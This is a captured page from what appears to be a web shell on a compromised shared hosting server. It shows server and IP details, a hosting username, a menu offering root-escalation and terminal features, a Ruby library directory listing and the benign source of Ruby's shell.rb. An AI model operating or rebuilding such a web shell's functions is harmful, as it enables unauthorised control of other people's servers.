Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.217.14
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
lib64 /
ruby /
1.9.1 /
Delete
Unzip
Name
Size
Permission
Date
Action
cgi
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
date
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
digest
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
dl
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
drb
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
fiddle
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
irb
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
json
[ DIR ]
drwxr-xr-x
2023-08-28 23:22
matrix
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
net
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
openssl
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
optparse
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
psych
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
racc
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
rake
[ DIR ]
drwxr-xr-x
2023-08-28 23:24
rbconfig
[ DIR ]
drwxr-xr-x
2023-08-28 23:22
rdoc
[ DIR ]
drwxr-xr-x
2023-08-28 23:22
rexml
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
rinda
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
ripper
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
rss
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
rubygems
[ DIR ]
drwxr-xr-x
2023-08-28 23:22
shell
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
syck
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
test
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
uri
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
webrick
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
x86_64-linux
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
xmlrpc
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
yaml
[ DIR ]
drwxr-xr-x
2023-08-28 23:21
English.rb
5.59
KB
-rw-r--r--
2009-10-02 12:45
abbrev.rb
2.57
KB
-rw-r--r--
2011-05-18 23:19
base64.rb
2.63
KB
-rw-r--r--
2009-10-02 12:45
benchmark.rb
18
KB
-rw-r--r--
2011-06-28 08:09
cgi.rb
9.3
KB
-rw-r--r--
2011-05-16 23:21
cmath.rb
7.22
KB
-rw-r--r--
2011-07-30 16:53
complex.rb
380
B
-rw-r--r--
2009-08-16 17:34
csv.rb
82.66
KB
-rw-r--r--
2011-07-21 23:40
date.rb
946
B
-rw-r--r--
2011-05-21 14:25
debug.rb
23.23
KB
-rw-r--r--
2011-06-28 13:45
delegate.rb
9.74
KB
-rw-r--r--
2011-07-27 21:56
digest.rb
2.24
KB
-rw-r--r--
2011-05-16 22:52
dl.rb
176
B
-rw-r--r--
2010-06-12 17:28
drb.rb
19
B
-rw-r--r--
2009-10-02 12:45
e2mmap.rb
3.8
KB
-rw-r--r--
2011-05-19 02:07
erb.rb
25.72
KB
-rw-r--r--
2012-12-13 06:24
expect.rb
1.33
KB
-rw-r--r--
2011-08-27 01:54
fiddle.rb
928
B
-rw-r--r--
2011-08-16 02:51
fileutils.rb
45.32
KB
-rw-r--r--
2012-02-25 09:11
find.rb
2.03
KB
-rw-r--r--
2011-05-18 23:19
forwardable.rb
7.64
KB
-rw-r--r--
2011-05-22 04:14
getoptlong.rb
15.38
KB
-rw-r--r--
2011-05-19 02:07
gserver.rb
8.83
KB
-rw-r--r--
2013-10-31 15:40
ipaddr.rb
24.92
KB
-rw-r--r--
2013-04-11 04:31
irb.rb
8.34
KB
-rw-r--r--
2011-05-19 02:07
json.rb
1.74
KB
-rw-r--r--
2011-08-30 04:25
kconv.rb
5.74
KB
-rw-r--r--
2010-12-07 12:47
logger.rb
20.85
KB
-rw-r--r--
2011-05-19 02:07
mathn.rb
6.52
KB
-rw-r--r--
2011-08-27 01:54
matrix.rb
47.65
KB
-rw-r--r--
2011-07-09 21:11
mkmf.rb
68.9
KB
-rw-r--r--
2014-02-06 06:20
monitor.rb
6.94
KB
-rw-r--r--
2011-06-18 00:33
mutex_m.rb
1.61
KB
-rw-r--r--
2011-05-19 02:07
observer.rb
5.69
KB
-rw-r--r--
2011-05-16 23:53
open-uri.rb
25.84
KB
-rw-r--r--
2014-02-24 04:43
open3.rb
20.64
KB
-rw-r--r--
2011-05-18 23:19
openssl.rb
547
B
-rw-r--r--
2011-07-25 08:38
optparse.rb
51.13
KB
-rw-r--r--
2014-02-14 05:52
ostruct.rb
6.49
KB
-rw-r--r--
2012-02-24 15:49
pathname.rb
14.21
KB
-rw-r--r--
2011-08-27 01:54
pp.rb
13.31
KB
-rw-r--r--
2010-08-01 16:09
prettyprint.rb
9.63
KB
-rw-r--r--
2011-08-02 17:25
prime.rb
13.98
KB
-rw-r--r--
2011-06-01 02:21
profile.rb
205
B
-rw-r--r--
2009-10-02 12:45
profiler.rb
1.59
KB
-rw-r--r--
2009-10-02 12:45
pstore.rb
15.81
KB
-rw-r--r--
2011-10-11 01:14
psych.rb
9.82
KB
-rw-r--r--
2012-08-07 22:50
rake.rb
2.02
KB
-rw-r--r--
2011-06-29 05:09
rational.rb
308
B
-rw-r--r--
2009-09-24 02:42
rdoc.rb
4.29
KB
-rw-r--r--
2013-02-06 09:00
resolv-replace.rb
1.74
KB
-rw-r--r--
2010-10-30 00:02
resolv.rb
59.91
KB
-rw-r--r--
2014-02-14 07:56
ripper.rb
91
B
-rw-r--r--
2009-10-02 12:45
rss.rb
2.84
KB
-rw-r--r--
2011-05-11 12:22
rubygems.rb
34.13
KB
-rw-r--r--
2013-12-22 05:38
scanf.rb
23.53
KB
-rw-r--r--
2011-05-20 14:22
securerandom.rb
8.46
KB
-rw-r--r--
2012-05-07 13:25
set.rb
29.91
KB
-rw-r--r--
2012-02-10 09:28
shell.rb
5.9
KB
-rw-r--r--
2011-05-19 02:07
shellwords.rb
3.88
KB
-rw-r--r--
2012-02-12 08:51
singleton.rb
4.02
KB
-rw-r--r--
2011-05-18 16:09
socket.rb
23.22
KB
-rw-r--r--
2014-01-30 13:04
syck.rb
13.91
KB
-rw-r--r--
2010-07-19 06:54
sync.rb
6.87
KB
-rw-r--r--
2011-06-29 05:09
tempfile.rb
10.42
KB
-rw-r--r--
2013-10-31 15:44
thread.rb
6.59
KB
-rw-r--r--
2014-02-14 04:48
thwait.rb
3.38
KB
-rw-r--r--
2011-06-29 05:09
time.rb
17.03
KB
-rw-r--r--
2013-10-31 15:06
timeout.rb
3.26
KB
-rw-r--r--
2013-04-02 06:09
tmpdir.rb
3.72
KB
-rw-r--r--
2011-05-18 23:19
tracer.rb
6.63
KB
-rw-r--r--
2011-06-29 15:19
tsort.rb
6.79
KB
-rw-r--r--
2009-03-06 05:23
ubygems.rb
268
B
-rw-r--r--
2009-10-02 12:45
un.rb
8.32
KB
-rw-r--r--
2011-05-19 02:07
uri.rb
3.07
KB
-rw-r--r--
2011-05-13 22:03
weakref.rb
2.29
KB
-rw-r--r--
2011-08-27 01:54
webrick.rb
6.8
KB
-rw-r--r--
2011-05-11 01:37
yaml.rb
2.58
KB
-rw-r--r--
2013-05-29 14:00
Save
Rename
# # shell.rb - # $Release Version: 0.7 $ # $Revision: 1.9 $ # by Keiju ISHITSUKA(keiju@ruby-lang.org) # # -- # # # require "e2mmap" require "thread" unless defined?(Mutex) require "forwardable" require "shell/error" require "shell/command-processor" require "shell/process-controller" class Shell @RCS_ID='-$Id: shell.rb,v 1.9 2002/03/04 12:01:10 keiju Exp keiju $-' include Error extend Exception2MessageMapper # @cascade = true # debug: true -> normal debug # debug: 1 -> eval definition debug # debug: 2 -> detail inspect debug @debug = false @verbose = true @debug_display_process_id = false @debug_display_thread_id = true @debug_output_mutex = Mutex.new class << Shell extend Forwardable attr_accessor :cascade, :debug, :verbose # alias cascade? cascade alias debug? debug alias verbose? verbose @verbose = true def debug=(val) @debug = val @verbose = val if val end def cd(path) new(path) end def default_system_path if @default_system_path @default_system_path else ENV["PATH"].split(":") end end def default_system_path=(path) @default_system_path = path end def default_record_separator if @default_record_separator @default_record_separator else $/ end end def default_record_separator=(rs) @default_record_separator = rs end # os resource mutex mutex_methods = ["unlock", "lock", "locked?", "synchronize", "try_lock", "exclusive_unlock"] for m in mutex_methods def_delegator("@debug_output_mutex", m, "debug_output_"+m.to_s) end end def initialize(pwd = Dir.pwd, umask = nil) @cwd = File.expand_path(pwd) @dir_stack = [] @umask = umask @system_path = Shell.default_system_path @record_separator = Shell.default_record_separator @command_processor = CommandProcessor.new(self) @process_controller = ProcessController.new(self) @verbose = Shell.verbose @debug = Shell.debug end attr_reader :system_path def system_path=(path) @system_path = path rehash end attr_accessor :umask, :record_separator attr_accessor :verbose, :debug def debug=(val) @debug = val @verbose = val if val end alias verbose? verbose alias debug? debug attr_reader :command_processor attr_reader :process_controller def expand_path(path) File.expand_path(path, @cwd) end # Most Shell commands are defined via CommandProcessor # # Dir related methods # # Shell#cwd/dir/getwd/pwd # Shell#chdir/cd # Shell#pushdir/pushd # Shell#popdir/popd # Shell#mkdir # Shell#rmdir attr_reader :cwd alias dir cwd alias getwd cwd alias pwd cwd attr_reader :dir_stack alias dirs dir_stack # If called as iterator, it restores the current directory when the # block ends. def chdir(path = nil, verbose = @verbose) check_point if iterator? notify("chdir(with block) #{path}") if verbose cwd_old = @cwd begin chdir(path, nil) yield ensure chdir(cwd_old, nil) end else notify("chdir #{path}") if verbose path = "~" unless path @cwd = expand_path(path) notify "current dir: #{@cwd}" rehash Void.new(self) end end alias cd chdir def pushdir(path = nil, verbose = @verbose) check_point if iterator? notify("pushdir(with block) #{path}") if verbose pushdir(path, nil) begin yield ensure popdir end elsif path notify("pushdir #{path}") if verbose @dir_stack.push @cwd chdir(path, nil) notify "dir stack: [#{@dir_stack.join ', '}]" self else notify("pushdir") if verbose if pop = @dir_stack.pop @dir_stack.push @cwd chdir pop notify "dir stack: [#{@dir_stack.join ', '}]" self else Shell.Fail DirStackEmpty end end Void.new(self) end alias pushd pushdir def popdir check_point notify("popdir") if pop = @dir_stack.pop chdir pop notify "dir stack: [#{@dir_stack.join ', '}]" self else Shell.Fail DirStackEmpty end Void.new(self) end alias popd popdir # # process management # def jobs @process_controller.jobs end def kill(sig, command) @process_controller.kill_job(sig, command) end # # command definitions # def Shell.def_system_command(command, path = command) CommandProcessor.def_system_command(command, path) end def Shell.undef_system_command(command) CommandProcessor.undef_system_command(command) end def Shell.alias_command(ali, command, *opts, &block) CommandProcessor.alias_command(ali, command, *opts, &block) end def Shell.unalias_command(ali) CommandProcessor.unalias_command(ali) end def Shell.install_system_commands(pre = "sys_") CommandProcessor.install_system_commands(pre) end # def inspect if debug.kind_of?(Integer) && debug > 2 super else to_s end end def self.notify(*opts, &block) Shell::debug_output_synchronize do if opts[-1].kind_of?(String) yorn = verbose? else yorn = opts.pop end return unless yorn if @debug_display_thread_id if @debug_display_process_id prefix = "shell(##{Process.pid}:#{Thread.current.to_s.sub("Thread", "Th")}): " else prefix = "shell(#{Thread.current.to_s.sub("Thread", "Th")}): " end else prefix = "shell: " end _head = true STDERR.print opts.collect{|mes| mes = mes.dup yield mes if iterator? if _head _head = false # "shell" " + mes prefix + mes else " "* prefix.size + mes end }.join("\n")+"\n" end end CommandProcessor.initialize CommandProcessor.run_config end